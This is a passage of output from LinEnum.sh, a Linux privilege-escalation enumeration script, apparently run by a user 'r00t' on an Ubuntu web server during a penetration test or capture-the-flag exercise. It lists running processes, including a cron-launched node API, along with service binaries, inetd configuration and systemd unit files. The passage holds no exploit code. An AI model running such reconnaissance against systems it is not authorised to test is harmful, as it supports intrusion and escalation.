root      768  0.0  0.3  28676  1900 ?        Ss   18:31   0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root      776  0.7  2.6 185908 12812 ?        Ssl  18:31   0:01 /usr/bin/python3 /usr/share/unattended-upgrades/-
unattended-upgrade-shutdown --wait-for$
root      777  0.0  0.4  14664  2012 ttyS0    Ss+  18:31   0:00 /sbin/agetty -o -p -- \u --keep-baud 115200,38400,9600
ttyS0 vt220
root      793  0.0  0.3  14888  1584 tty1     Ss+  18:31   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root      811  0.0  0.8  72296  4168 ?        Ss   18:31   0:00 /usr/sbin/sshd -D
root      814  0.1  0.8 291464  4360 ?        Ssl  18:31   0:00 /usr/lib/policykit-1/polkitd --no-debug
root      825  0.4  2.2 625804 11052 ?        Ssl  18:31   0:01 /usr/lib/snapd/snapd
root      945  0.1  1.7 335320  8576 ?        Ss   18:31   0:00 /usr/sbin/apache2 -k start
mysql     954  1.3 33.5 1154568 164868 ?      Sl   18:31   0:03 /usr/sbin/mysqld --daemonize --pid-file=/run/mysqld/-
mysqld.pid
www-data   955  0.0  1.1 339724  5808 ?        S    18:31   0:00 /usr/sbin/apache2 -k start
www-data   956  0.0  1.1 339724  5808 ?        S    18:31   0:00 /usr/sbin/apache2 -k start
www-data   957  0.0  1.1 339724  5808 ?        S    18:31   0:00 /usr/sbin/apache2 -k start
www-data   958  0.0  1.1 339724  5808 ?        S    18:31   0:00 /usr/sbin/apache2 -k start
www-data   961  0.0  1.1 339724  5808 ?        S    18:31   0:00 /usr/sbin/apache2 -k start
root     1050  0.1  1.0 105684  5348 ?        Ss   18:31   0:00 sshd: r00t [priv]
r00t     1102  0.1  0.9  76624  4560 ?        Ss   18:31   0:00 /lib/systemd/systemd --user
r00t     1104  0.0  0.4 259160  2372 ?        S    18:31   0:00 (sd-pam)
root     1165  0.0  0.1   4628   608 ?        Ss   18:31   0:00 /bin/sh /usr/lib/apt/apt.systemd.daily update
root     1170  0.0  0.3   4628  1700 ?        S    18:31   0:00 /bin/sh /usr/lib/apt/apt.systemd.daily lock_is_held update
root     1207  0.0  0.6  57500  3116 ?        S    18:32   0:00 /usr/sbin/CRON -f
www      1215  0.0  0.1   4628   604 ?        Ss   18:32   0:00 /bin/sh -c sh /home/www/api/start.sh
 www     1216  0.0  0.1   4628   748 ?        S    18:32   0:00 sh /home/www/api/start.sh
www      1225  6.8  5.8 1164016 28612 ?       Sl   18:32   0:12 node index.js
r00t     1268  0.0  0.9 107984  4624 ?        S    18:32   0:00 sshd: r00t@pts/0
r00t     1274  0.6  0.9  21480  4700 pts/0    Ss   18:32   0:01 -bash
root     1430 61.4 16.5 177028 81160 ?        RN   18:33   0:44 /usr/bin/python3 /usr/bin/unattended-upgrade --download-
only
r00t     1517  1.0  0.8  12512  4048 pts/0    S+   18:34   0:00 bash LinEnum.sh
r00t     1518  0.0  0.6  12512  2964 pts/0    S+   18:34   0:00 bash LinEnum.sh
r00t     1519  0.0  0.1   6180   776 pts/0    S+   18:34   0:00 tee -a
root     1595  1.3  0.6  57500  3304 ?        S    18:35   0:00 /usr/sbin/CRON -f
www      1602  0.0  0.1   4628   848 ?        Ss   18:35   0:00 /bin/sh -c sh /home/www/api/start.sh
www      1603  0.0  0.1   4628   808 ?        S    18:35   0:00 sh /home/www/api/start.sh
www      1606 38.2  4.3 719780 21464 ?        Rl   18:35   0:01 node index.js
r00t     1725  0.0  0.5  12512  2708 pts/0    S+   18:35   0:00 bash LinEnum.sh
r00t     1726  0.0  0.7  38372  3684 pts/0    R+   18:35   0:00 ps aux
```

[-] Process binaries and associated permissions (from above list):

```
  0 lrwxrwxrwx 1 root root    4 Feb 14  2019 /bin/sh -> dash
```

```
1.6M -rwxr-xr-x 1 root root 1.6M Feb 28  2019 /lib/systemd/systemd
128K -rwxr-xr-x 1 root root 127K Feb 28  2019 /lib/systemd/systemd-journald
 216K -rwxr-xr-x 1 root root 215K Feb 28  2019 /lib/systemd/systemd-logind
1.6M -rwxr-xr-x 1 root root 1.6M Feb 28  2019 /lib/systemd/systemd-networkd
372K -rwxr-xr-x 1 root root 371K Feb 28  2019 /lib/systemd/systemd-resolved
 40K -rwxr-xr-x 1 root root  39K Feb 28  2019 /lib/systemd/systemd-timesyncd
572K -rwxr-xr-x 1 root root 571K Feb 28  2019 /lib/systemd/systemd-udevd
 56K -rwxr-xr-x 1 root root  56K Oct 15  2018 /sbin/agetty
   0 lrwxrwxrwx 1 root root   20 Feb 28  2019 /sbin/init -> /lib/systemd/systemd
 84K -rwxr-xr-x 1 root root  83K Apr 12  2018 /sbin/lvmetad
232K -rwxr-xr-x 1 root root 232K Nov 15  2017 /usr/bin/dbus-daemon
 20K -rwxr-xr-x 1 root root  19K Nov 23  2018 /usr/bin/lxcfs
   0 lrwxrwxrwx 1 root root    9 Oct 25  2018 /usr/bin/python3 -> python3.6
180K -rwxr-xr-x 1 root root 179K Dec 18  2017 /usr/lib/accountsservice/accounts-daemon
 16K -rwxr-xr-x 1 root root  15K Jan 15  2019 /usr/lib/policykit-1/polkitd
 17M -rwxr-xr-x 1 root root  17M Mar 15  2019 /usr/lib/snapd/snapd
656K -rwxr-xr-x 1 root root 656K Oct 10  2018 /usr/sbin/apache2
 28K -rwxr-xr-x 1 root root  27K Feb 20  2018 /usr/sbin/atd
 48K -rwxr-xr-x 1 root root  47K Nov 16  2017 /usr/sbin/cron
 40K -rwxr-xr-x 1 root root  39K Nov  1  2017 /usr/sbin/inetd
 24M -rwxr-xr-x 1 root root  24M Jan 21  2019 /usr/sbin/mysqld
668K -rwxr-xr-x 1 root root 665K Apr 24  2018 /usr/sbin/rsyslogd
 772K -rwxr-xr-x 1 root root 769K Mar  4  2019 /usr/sbin/sshd
168K -rwxr-xr-x 1 root root 165K Feb  5  2018 /usr/sbin/vsftpd
```

[-] Contents of /etc/inetd.conf:

```
# /etc/inetd.conf:  see inetd(8) for further informations.
#
# Internet superserver configuration database
#
#
# Lines starting with "#:LABEL:" or "#<off>#" should not
# be changed unless you know what you are doing!
#
# If you want to disable an entry so it isn't touched during
# package updates just comment it out with a single '#' character.
#
# Packages should modify this file by using update-inetd(8)
#
# <service_name> <sock_type> <proto> <flags> <user> <server_path> <args>
#
 #:INTERNAL: Internal services
#discard            stream  tcp     nowait  root    internal
#discard            dgram   udp     wait    root    internal
#daytime             stream  tcp     nowait  root    internal
#time         stream  tcp     nowait  root    internal

#:STANDARD: These are standard services.
#<off># ftp           stream  tcp     nowait  root    /usr/sbin/tcpd  /usr/sbin/in.ftpd

#:BSD: Shell, login, exec and talk are BSD protocols.

#:MAIL: Mail, news and uucp services.

#:INFO: Info services

#:BOOT: TFTP service is provided primarily for booting.  Most sites
#       run this only on machines acting as "boot servers."

#:RPC: RPC based services

#:HAM-RADIO: amateur-radio services

#:OTHER: Other services
```

[-] The related inetd binary permissions:

```
-rwxr-xr-x 1 root root 10240 Oct 29  2017 /usr/sbin/tcpd
```

[-] /etc/init.d/ binary permissions:

```
total 208
drwxr-xr-x   2 root root 4096 Mar 22  2019 .
drwxr-xr-x 101 root root 4096 Mar 22  2019 ..
-rwxr-xr-x   1 root root 2269 Apr 22  2017 acpid
-rwxr-xr-x   1 root root 8181 Oct 10  2018 apache2
-rwxr-xr-x   1 root root 2489 Oct 10  2018 apache-htcacheclean
-rwxr-xr-x   1 root root 4335 Mar 22  2018 apparmor
-rwxr-xr-x   1 root root 2802 Nov 20  2017 apport
-rwxr-xr-x   1 root root 1071 Aug 21  2015 atd
-rwxr-xr-x   1 root root 1904 Nov 17  2015 cgroupfs-mount
-rwxr-xr-x   1 root root 1232 Apr 19  2018 console-setup.sh
-rwxr-xr-x   1 root root 3049 Nov 16  2017 cron
-rwxr-xr-x   1 root root  937 Mar 18  2018 cryptdisks
-rwxr-xr-x   1 root root  978 Mar 18  2018 cryptdisks-early
-rwxr-xr-x   1 root root 2813 Nov 15  2017 dbus
-rwxr-xr-x   1 root root 3507 Feb 13  2019 docker
-rwxr-xr-x   1 root root 4489 Jun 28  2018 ebtables
-rwxr-xr-x   1 root root  985 Feb  4  2019 grub-common
-rwxr-xr-x   1 root root 3809 Feb 14  2018 hwclock.sh
-rwxr-xr-x   1 root root 2444 Oct 25  2017 irqbalance
-rwxr-xr-x   1 root root 1503 Dec 12  2018 iscsid
-rwxr-xr-x   1 root root 1479 Feb 15  2018 keyboard-setup.sh
-rwxr-xr-x   1 root root 2044 Aug 15  2017 kmod
-rwxr-xr-x   1 root root  695 Dec  3  2017 lvm2
-rwxr-xr-x   1 root root  571 Dec  3  2017 lvm2-lvmetad
-rwxr-xr-x   1 root root  586 Dec  3  2017 lvm2-lvmpolld
-rwxr-xr-x   1 root root 2378 Nov 23  2018 lxcfs
-rwxr-xr-x   1 root root 2240 Nov 23  2018 lxd
-rwxr-xr-x   1 root root 2653 Jun 26  2018 mdadm
-rwxr-xr-x   1 root root 1249 Jun 26  2018 mdadm-waitidle
 -rwxr-xr-x   1 root root 5607 Jan 12  2018 mysql
-rwxr-xr-x   1 root root 2444 Dec 26  2016 openbsd-inetd
-rwxr-xr-x   1 root root 2503 Dec 12  2018 open-iscsi
-rwxr-xr-x   1 root root 1846 Sep 10  2018 open-vm-tools
-rwxr-xr-x   1 root root 1366 Jan 17  2018 plymouth
-rwxr-xr-x   1 root root  752 Jan 17  2018 plymouth-log
-rwxr-xr-x   1 root root 1191 Jan 17  2018 procps
-rwxr-xr-x   1 root root 4355 Dec 13  2017 rsync
-rwxr-xr-x   1 root root 2864 Jan 14  2018 rsyslog
-rwxr-xr-x   1 root root 1222 May 21  2017 screen-cleanup
-rwxr-xr-x   1 root root 3837 Jan 25  2018 ssh
-rwxr-xr-x   1 root root 1227 Oct 28  2016 ubuntu-fan
-rwxr-xr-x   1 root root 5974 Apr 20  2018 udev
-rwxr-xr-x   1 root root 2083 Aug 15  2017 ufw
-rwxr-xr-x   1 root root 1391 Dec 13  2018 unattended-upgrades
-rwxr-xr-x   1 root root 1306 Oct 15  2018 uuidd
-rwxr-xr-x   1 root root 2069 Aug 29  2016 vsftpd
```

[-] /etc/init/ config file permissions:

```
total 20
drwxr-xr-x   2 root root 4096 Mar 22  2019 .
drwxr-xr-x 101 root root 4096 Mar 22  2019 ..
-rw-r--r--   1 root root 1529 Feb 13  2019 docker.conf
-rw-r--r--   1 root root 1757 Jan 12  2018 mysql.conf
-rw-r--r--   1 root root  239 Oct 28  2016 ubuntu-fan.conf
```

[-] /lib/systemd/* config file permissions:

/lib/systemd/:

```
total 7.3M
drwxr-xr-x 23 root root  36K Mar 22  2019 system
drwxr-xr-x  2 root root 4.0K Mar 22  2019 system-generators
drwxr-xr-x  2 root root 4.0K Mar 19  2019 system-sleep
drwxr-xr-x  2 root root 4.0K Mar 19  2019 network
drwxr-xr-x  2 root root 4.0K Mar 19  2019 system-preset
-rw-r--r--  1 root root 2.3M Feb 28  2019 libsystemd-shared-237.so
-rw-r--r--  1 root root  699 Feb 28  2019 resolv.conf
-rwxr-xr-x  1 root root 1.3K Feb 28  2019 set-cpufreq
-rwxr-xr-x  1 root root 1.6M Feb 28  2019 systemd
```

```
-rwxr-xr-x  1 root root 6.0K Feb 28  2019 systemd-ac-power
-rwxr-xr-x  1 root root  18K Feb 28  2019 systemd-backlight
-rwxr-xr-x  1 root root  11K Feb 28  2019 systemd-binfmt
-rwxr-xr-x  1 root root  10K Feb 28  2019 systemd-cgroups-agent
-rwxr-xr-x  1 root root  22K Feb 28  2019 systemd-cryptsetup
-rwxr-xr-x  1 root root  15K Feb 28  2019 systemd-dissect
-rwxr-xr-x  1 root root  18K Feb 28  2019 systemd-fsck
-rwxr-xr-x  1 root root  23K Feb 28  2019 systemd-fsckd
-rwxr-xr-x  1 root root  19K Feb 28  2019 systemd-growfs
-rwxr-xr-x  1 root root  10K Feb 28  2019 systemd-hibernate-resume
-rwxr-xr-x  1 root root  23K Feb 28  2019 systemd-hostnamed
-rwxr-xr-x  1 root root  15K Feb 28  2019 systemd-initctl
-rwxr-xr-x  1 root root 127K Feb 28  2019 systemd-journald
-rwxr-xr-x  1 root root  35K Feb 28  2019 systemd-localed
-rwxr-xr-x  1 root root 215K Feb 28  2019 systemd-logind
-rwxr-xr-x  1 root root  10K Feb 28  2019 systemd-makefs
-rwxr-xr-x  1 root root  15K Feb 28  2019 systemd-modules-load
-rwxr-xr-x  1 root root 1.6M Feb 28  2019 systemd-networkd
-rwxr-xr-x  1 root root  19K Feb 28  2019 systemd-networkd-wait-online
-rwxr-xr-x  1 root root  11K Feb 28  2019 systemd-quotacheck
-rwxr-xr-x  1 root root  10K Feb 28  2019 systemd-random-seed
-rwxr-xr-x  1 root root  15K Feb 28  2019 systemd-remount-fs
-rwxr-xr-x  1 root root  10K Feb 28  2019 systemd-reply-password
-rwxr-xr-x  1 root root 371K Feb 28  2019 systemd-resolved
-rwxr-xr-x  1 root root  19K Feb 28  2019 systemd-rfkill
-rwxr-xr-x  1 root root  43K Feb 28  2019 systemd-shutdown
-rwxr-xr-x  1 root root  19K Feb 28  2019 systemd-sleep
-rwxr-xr-x  1 root root  23K Feb 28  2019 systemd-socket-proxyd
-rwxr-xr-x  1 root root  11K Feb 28  2019 systemd-sulogin-shell
-rwxr-xr-x  1 root root  15K Feb 28  2019 systemd-sysctl
-rwxr-xr-x  1 root root 1.3K Feb 28  2019 systemd-sysv-install
-rwxr-xr-x  1 root root  27K Feb 28  2019 systemd-timedated
-rwxr-xr-x  1 root root  39K Feb 28  2019 systemd-timesyncd
-rwxr-xr-x  1 root root 571K Feb 28  2019 systemd-udevd
-rwxr-xr-x  1 root root  15K Feb 28  2019 systemd-update-utmp
-rwxr-xr-x  1 root root  10K Feb 28  2019 systemd-user-sessions
-rwxr-xr-x  1 root root  10K Feb 28  2019 systemd-veritysetup
-rwxr-xr-x  1 root root  10K Feb 28  2019 systemd-volatile-root
drwxr-xr-x  2 root root 4.0K Feb 14  2019 system-shutdown

 /lib/systemd/system:
total 1.1M
drwxr-xr-x 2 root root 4.0K Mar 19  2019 apache2.service.d
drwxr-xr-x 2 root root 4.0K Mar 19  2019 sockets.target.wants
drwxr-xr-x 2 root root 4.0K Mar 19  2019 sysinit.target.wants
drwxr-xr-x 2 root root 4.0K Mar 19  2019 getty.target.wants
drwxr-xr-x 2 root root 4.0K Mar 19  2019 graphical.target.wants
drwxr-xr-x 2 root root 4.0K Mar 19  2019 local-fs.target.wants
drwxr-xr-x 2 root root 4.0K Mar 19  2019 multi-user.target.wants
drwxr-xr-x 2 root root 4.0K Mar 19  2019 rescue.target.wants
drwxr-xr-x 2 root root 4.0K Mar 19  2019 timers.target.wants
drwxr-xr-x 2 root root 4.0K Mar 19  2019 rc-local.service.d
drwxr-xr-x 2 root root 4.0K Mar 19  2019 user@.service.d
-rw-r--r-- 1 root root  340 Mar 15  2019 snapd.autoimport.service
-rw-r--r-- 1 root root  320 Mar 15  2019 snapd.core-fixup.service
-rw-r--r-- 1 root root  172 Mar 15  2019 snapd.failure.service
-rw-r--r-- 1 root root  322 Mar 15  2019 snapd.seeded.service
-rw-r--r-- 1 root root  477 Mar 15  2019 snapd.service
-rw-r--r-- 1 root root  372 Mar 15  2019 snapd.snap-repair.service
-rw-r--r-- 1 root root  281 Mar 15  2019 snapd.snap-repair.timer
 -rw-r--r-- 1 root root  281 Mar 15  2019 snapd.socket
-rw-r--r-- 1 root root  521 Mar 15  2019 snapd.system-shutdown.service
lrwxrwxrwx 1 root root   14 Feb 28  2019 autovt@.service -> getty@.service
lrwxrwxrwx 1 root root    9 Feb 28  2019 bootlogd.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 bootlogs.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 bootmisc.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 checkfs.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 checkroot-bootclean.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 checkroot.service -> /dev/null
-rw-r--r-- 1 root root 1.1K Feb 28  2019 console-getty.service
-rw-r--r-- 1 root root 1.3K Feb 28  2019 container-getty@.service
```

```
lrwxrwxrwx 1 root root    9 Feb 28  2019 cryptdisks-early.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 cryptdisks.service -> /dev/null
lrwxrwxrwx 1 root root   13 Feb 28  2019 ctrl-alt-del.target -> reboot.target
lrwxrwxrwx 1 root root   25 Feb 28  2019 dbus-org.freedesktop.hostname1.service -> systemd-hostnamed.service
lrwxrwxrwx 1 root root   23 Feb 28  2019 dbus-org.freedesktop.locale1.service -> systemd-localed.service
lrwxrwxrwx 1 root root   22 Feb 28  2019 dbus-org.freedesktop.login1.service -> systemd-logind.service
lrwxrwxrwx 1 root root   25 Feb 28  2019 dbus-org.freedesktop.timedate1.service -> systemd-timedated.service
-rw-r--r-- 1 root root 1.1K Feb 28  2019 debug-shell.service
lrwxrwxrwx 1 root root   16 Feb 28  2019 default.target -> graphical.target
 -rw-r--r-- 1 root root  797 Feb 28  2019 emergency.service
lrwxrwxrwx 1 root root    9 Feb 28  2019 fuse.service -> /dev/null
-rw-r--r-- 1 root root 2.0K Feb 28  2019 getty@.service
-rw-r--r-- 1 root root  342 Feb 28  2019 getty-static.service
lrwxrwxrwx 1 root root    9 Feb 28  2019 halt.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 hostname.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 hwclock.service -> /dev/null
-rw-r--r-- 1 root root  670 Feb 28  2019 initrd-cleanup.service
-rw-r--r-- 1 root root  830 Feb 28  2019 initrd-parse-etc.service
-rw-r--r-- 1 root root  589 Feb 28  2019 initrd-switch-root.service
-rw-r--r-- 1 root root  704 Feb 28  2019 initrd-udevadm-cleanup-db.service
lrwxrwxrwx 1 root root    9 Feb 28  2019 killprocs.service -> /dev/null
lrwxrwxrwx 1 root root   28 Feb 28  2019 kmod.service -> systemd-modules-load.service
-rw-r--r-- 1 root root  717 Feb 28  2019 kmod-static-nodes.service
lrwxrwxrwx 1 root root   28 Feb 28  2019 module-init-tools.service -> systemd-modules-load.service
lrwxrwxrwx 1 root root    9 Feb 28  2019 motd.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 mountall-bootclean.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 mountall.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 mountdevsubfs.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 mountkernfs.service -> /dev/null
 lrwxrwxrwx 1 root root    9 Feb 28  2019 mountnfs-bootclean.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 mountnfs.service -> /dev/null
-rw-r--r-- 1 root root  362 Feb 28  2019 ondemand.service
lrwxrwxrwx 1 root root   22 Feb 28  2019 procps.service -> systemd-sysctl.service
-rw-r--r-- 1 root root  609 Feb 28  2019 quotaon.service
-rw-r--r-- 1 root root  716 Feb 28  2019 rc-local.service
lrwxrwxrwx 1 root root   16 Feb 28  2019 rc.local.service -> rc-local.service
lrwxrwxrwx 1 root root    9 Feb 28  2019 rc.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 rcS.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 reboot.service -> /dev/null
-rw-r--r-- 1 root root  788 Feb 28  2019 rescue.service
lrwxrwxrwx 1 root root    9 Feb 28  2019 rmnologin.service -> /dev/null
lrwxrwxrwx 1 root root   15 Feb 28  2019 runlevel0.target -> poweroff.target
lrwxrwxrwx 1 root root   13 Feb 28  2019 runlevel1.target -> rescue.target
lrwxrwxrwx 1 root root   17 Feb 28  2019 runlevel2.target -> multi-user.target
lrwxrwxrwx 1 root root   17 Feb 28  2019 runlevel3.target -> multi-user.target
lrwxrwxrwx 1 root root   17 Feb 28  2019 runlevel4.target -> multi-user.target
lrwxrwxrwx 1 root root   16 Feb 28  2019 runlevel5.target -> graphical.target
lrwxrwxrwx 1 root root   13 Feb 28  2019 runlevel6.target -> reboot.target
lrwxrwxrwx 1 root root    9 Feb 28  2019 sendsigs.service -> /dev/null
-rw-r--r-- 1 root root 1.5K Feb 28  2019 serial-getty@.service
lrwxrwxrwx 1 root root    9 Feb 28  2019 single.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 stop-bootlogd.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 stop-bootlogd-single.service -> /dev/null
-rw-r--r-- 1 root root  554 Feb 28  2019 suspend-then-hibernate.target
-rw-r--r-- 1 root root  724 Feb 28  2019 systemd-ask-password-console.service
-rw-r--r-- 1 root root  752 Feb 28  2019 systemd-ask-password-wall.service
-rw-r--r-- 1 root root  752 Feb 28  2019 systemd-backlight@.service
-rw-r--r-- 1 root root  999 Feb 28  2019 systemd-binfmt.service
-rw-r--r-- 1 root root  537 Feb 28  2019 systemd-exit.service
-rw-r--r-- 1 root root  551 Feb 28  2019 systemd-fsckd.service
-rw-r--r-- 1 root root  540 Feb 28  2019 systemd-fsckd.socket
-rw-r--r-- 1 root root  714 Feb 28  2019 systemd-fsck-root.service
-rw-r--r-- 1 root root  715 Feb 28  2019 systemd-fsck@.service
-rw-r--r-- 1 root root  584 Feb 28  2019 systemd-halt.service
-rw-r--r-- 1 root root  671 Feb 28  2019 systemd-hibernate-resume@.service
-rw-r--r-- 1 root root  541 Feb 28  2019 systemd-hibernate.service
-rw-r--r-- 1 root root 1.1K Feb 28  2019 systemd-hostnamed.service
-rw-r--r-- 1 root root  818 Feb 28  2019 systemd-hwdb-update.service
-rw-r--r-- 1 root root  559 Feb 28  2019 systemd-hybrid-sleep.service
 -rw-r--r-- 1 root root  551 Feb 28  2019 systemd-initctl.service
-rw-r--r-- 1 root root  686 Feb 28  2019 systemd-journald-audit.socket
```

```
-rw-r--r-- 1 root root 1.6K Feb 28  2019 systemd-journald.service
-rw-r--r-- 1 root root  771 Feb 28  2019 systemd-journal-flush.service
-rw-r--r-- 1 root root  597 Feb 28  2019 systemd-kexec.service
-rw-r--r-- 1 root root 1.1K Feb 28  2019 systemd-localed.service
-rw-r--r-- 1 root root 1.5K Feb 28  2019 systemd-logind.service
-rw-r--r-- 1 root root  733 Feb 28  2019 systemd-machine-id-commit.service
-rw-r--r-- 1 root root 1007 Feb 28  2019 systemd-modules-load.service
-rw-r--r-- 1 root root 1.9K Feb 28  2019 systemd-networkd.service
-rw-r--r-- 1 root root  740 Feb 28  2019 systemd-networkd-wait-online.service
-rw-r--r-- 1 root root  593 Feb 28  2019 systemd-poweroff.service
-rw-r--r-- 1 root root  655 Feb 28  2019 systemd-quotacheck.service
-rw-r--r-- 1 root root  792 Feb 28  2019 systemd-random-seed.service
-rw-r--r-- 1 root root  588 Feb 28  2019 systemd-reboot.service
-rw-r--r-- 1 root root  833 Feb 28  2019 systemd-remount-fs.service
-rw-r--r-- 1 root root 1.7K Feb 28  2019 systemd-resolved.service
-rw-r--r-- 1 root root  724 Feb 28  2019 systemd-rfkill.service
-rw-r--r-- 1 root root  537 Feb 28  2019 systemd-suspend.service
-rw-r--r-- 1 root root  573 Feb 28  2019 systemd-suspend-then-hibernate.service
-rw-r--r-- 1 root root  693 Feb 28  2019 systemd-sysctl.service
-rw-r--r-- 1 root root 1.1K Feb 28  2019 systemd-timedated.service
-rw-r--r-- 1 root root 1.4K Feb 28  2019 systemd-timesyncd.service
-rw-r--r-- 1 root root  659 Feb 28  2019 systemd-tmpfiles-clean.service
-rw-r--r-- 1 root root  764 Feb 28  2019 systemd-tmpfiles-setup-dev.service
-rw-r--r-- 1 root root  744 Feb 28  2019 systemd-tmpfiles-setup.service
-rw-r--r-- 1 root root  985 Feb 28  2019 systemd-udevd.service
-rw-r--r-- 1 root root  863 Feb 28  2019 systemd-udev-settle.service
-rw-r--r-- 1 root root  755 Feb 28  2019 systemd-udev-trigger.service
-rw-r--r-- 1 root root  797 Feb 28  2019 systemd-update-utmp-runlevel.service
-rw-r--r-- 1 root root  794 Feb 28  2019 systemd-update-utmp.service
-rw-r--r-- 1 root root  628 Feb 28  2019 systemd-user-sessions.service
-rw-r--r-- 1 root root  690 Feb 28  2019 systemd-volatile-root.service
-rw-r--r-- 1 root root 1.4K Feb 28  2019 system-update-cleanup.service
lrwxrwxrwx 1 root root   21 Feb 28  2019 udev.service -> systemd-udevd.service
lrwxrwxrwx 1 root root    9 Feb 28  2019 umountfs.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 umountnfs.service -> /dev/null
lrwxrwxrwx 1 root root    9 Feb 28  2019 umountroot.service -> /dev/null
lrwxrwxrwx 1 root root   27 Feb 28  2019 urandom.service -> systemd-random-seed.service
-rw-r--r-- 1 root root  593 Feb 28  2019 user@.service
 lrwxrwxrwx 1 root root    9 Feb 28  2019 x11-common.service -> /dev/null
-rw-r--r-- 1 root root  372 Feb 21  2019 unattended-upgrades.service
lrwxrwxrwx 1 root root    9 Feb 14  2019 screen-cleanup.service -> /dev/null
drwxr-xr-x 2 root root 4.0K Feb 14  2019 halt.target.wants
drwxr-xr-x 2 root root 4.0K Feb 14  2019 initrd-switch-root.target.wants
drwxr-xr-x 2 root root 4.0K Feb 14  2019 kexec.target.wants
drwxr-xr-x 2 root root 4.0K Feb 14  2019 poweroff.target.wants
drwxr-xr-x 2 root root 4.0K Feb 14  2019 reboot.target.wants
-rw-r--r-- 1 root root 1.6K Feb 13  2019 docker.service
-rw-r--r-- 1 root root  197 Feb  9  2019 docker.socket
-rw-r--r-- 1 root root  242 Feb  6  2019 apport-autoreport.service
-rw-r--r-- 1 root root  418 Jan 29  2019 cloud-config.service
-rw-r--r-- 1 root root  482 Jan 29  2019 cloud-final.service
-rw-r--r-- 1 root root  580 Jan 29  2019 cloud-init-local.service
-rw-r--r-- 1 root root  642 Jan 29  2019 cloud-init.service
-rw-r--r-- 1 root root  536 Jan 28  2019 cloud-config.target
-rw-r--r-- 1 root root  256 Jan 28  2019 cloud-init.target
-rw-r--r-- 1 root root  326 Jan 25  2019 apt-daily.service
-rw-r--r-- 1 root root  156 Jan 25  2019 apt-daily.timer
-rw-r--r-- 1 root root  238 Jan 25  2019 apt-daily-upgrade.service
-rw-r--r-- 1 root root  184 Jan 25  2019 apt-daily-upgrade.timer
-rw-r--r-- 1 root root  254 Jan 14  2019 thermald.service
-rw-r--r-- 1 root root  266 Jan 10  2019 netplan-wpa@.service
-rw-r--r-- 1 root root  368 Jan  9  2019 irqbalance.service
-rw-r--r-- 1 root root  494 Dec 12  2018 iscsid.service
-rw-r--r-- 1 root root  175 Dec 12  2018 iscsid.socket
-rw-r--r-- 1 root root  987 Dec 12  2018 open-iscsi.service
-rw-r--r-- 1 root root  605 Nov 23  2018 lxd.service
-rw-r--r-- 1 root root  320 Nov 23  2018 lxd-containers.service
-rw-r--r-- 1 root root  197 Nov 23  2018 lxd.socket
-rw-r--r-- 1 root root  311 Nov 23  2018 lxcfs.service
-rw-r--r-- 1 root root   92 Oct 15  2018 fstrim.service
-rw-r--r-- 1 root root  170 Oct 15  2018 fstrim.timer
```

```
-rw-r--r-- 1 root root  189 Oct 15  2018 uuidd.service
-rw-r--r-- 1 root root  126 Oct 15  2018 uuidd.socket
-rw-r--r-- 1 root root  618 Oct 15  2018 friendly-recovery.service
-rw-r--r-- 1 root root  172 Oct 15  2018 friendly-recovery.target
-rw-r--r-- 1 root root  258 Oct 15  2018 networkd-dispatcher.service
-rw-r--r-- 1 root root  346 Oct 10  2018 apache2.service
-rw-r--r-- 1 root root  418 Oct 10  2018 apache2@.service
-rw-r--r-- 1 root root  528 Oct 10  2018 apache-htcacheclean.service
-rw-r--r-- 1 root root  537 Oct 10  2018 apache-htcacheclean@.service
-rw-r--r-- 1 root root  412 Sep 11  2018 plymouth-halt.service
-rw-r--r-- 1 root root  426 Sep 11  2018 plymouth-kexec.service
lrwxrwxrwx 1 root root   27 Sep 11  2018 plymouth-log.service -> plymouth-read-write.service
-rw-r--r-- 1 root root  421 Sep 11  2018 plymouth-poweroff.service
-rw-r--r-- 1 root root  194 Sep 11  2018 plymouth-quit.service
-rw-r--r-- 1 root root  200 Sep 11  2018 plymouth-quit-wait.service
-rw-r--r-- 1 root root  244 Sep 11  2018 plymouth-read-write.service
-rw-r--r-- 1 root root  416 Sep 11  2018 plymouth-reboot.service
lrwxrwxrwx 1 root root   21 Sep 11  2018 plymouth.service -> plymouth-quit.service
-rw-r--r-- 1 root root  532 Sep 11  2018 plymouth-start.service
-rw-r--r-- 1 root root  291 Sep 11  2018 plymouth-switch-root.service
-rw-r--r-- 1 root root  490 Sep 11  2018 systemd-ask-password-plymouth.path
-rw-r--r-- 1 root root  467 Sep 11  2018 systemd-ask-password-plymouth.service
-rw-r--r-- 1 root root  306 Sep 11  2018 open-vm-tools.service
-rw-r--r-- 1 root root  298 Sep 10  2018 vgauth.service
-rw-r--r-- 1 root root  173 Aug  6  2018 motd-news.service
-rw-r--r-- 1 root root  175 Aug  6  2018 motd-news.timer
-rw-r--r-- 1 root root  212 Jul 10  2018 apport-autoreport.path
 -rw-r--r-- 1 root root  481 Jul  2  2018 mdadm-grow-continue@.service
-rw-r--r-- 1 root root  210 Jul  2  2018 mdadm-last-resort@.service
-rw-r--r-- 1 root root  179 Jul  2  2018 mdadm-last-resort@.timer
lrwxrwxrwx 1 root root    9 Jul  2  2018 mdadm.service -> /dev/null
-rw-r--r-- 1 root root  670 Jul  2  2018 mdadm-shutdown.service
lrwxrwxrwx 1 root root    9 Jul  2  2018 mdadm-waitidle.service -> /dev/null
